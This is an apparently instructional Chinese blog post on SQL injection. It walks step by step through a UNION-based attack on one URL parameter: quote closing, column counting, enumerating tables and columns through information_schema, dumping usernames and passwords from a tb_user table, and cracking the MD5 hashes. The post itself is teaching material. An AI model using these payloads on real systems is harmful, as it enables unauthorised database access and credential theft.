sql-注入
额…巴巴拉拉这么多,这是嘛玩意儿啊???
打住,咱先看完再懵逼也不迟,请继续往下看~~
- 首先正常页面是这样的;
- 第一步:单引号闭合发现页面报错,说明该页面可能存在该sql注入;
-
第二步:判断是数字型还是字符型注入,输入and 1=1和1=2,页面返回正常则说明是字符型,反之则是数字型;
?id=2&postid=4 and 1=1--+
-
两次页面都正常说明是字符型注入;
?id=2&postid=4 and 1=2
-
使用单引号闭合和- -+注释后面内容,发现页面正常
?id=2&postid=4'--+
-
第三步:order by判断字段,输入9时报错,说明有8个字段;
?id=2&postid=4' order by 9--+
-
第四步:union查询判断注入点,发现3,4存在注入点;
?id=2&postid=-1' union select 1,2,3,4,5,6,7,8--+
-
第五步:查询当前数据库;
?id=2&postid=-1' union select 1,2,3,database(),5,6,7,8--+
-
第六步:查询当前数据库里所有表; (补充:group_concat函数)
?id=2&postid=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema = 'baby.or'),5,6,7,8--+
-
第七步:查询当前表所有字段名; (补充:查询tb_user表是因为用户名和密码信息一般放在该表里)
?id=2&postid=-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name = 'tb_user'),5,6,7,8--+
-
第八步:查询当前表里username和password字段值;
?id=2&postid=-1' union select 1,2,(select group_concat(username) from tb_user),(select group_concat(password) from tb_user),5,6,7,8--+
- 查询到密码发现密码被加密了,使用MD5解密得到密码;
以上就是一次完整的sql注入基本操作,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,Thank Read!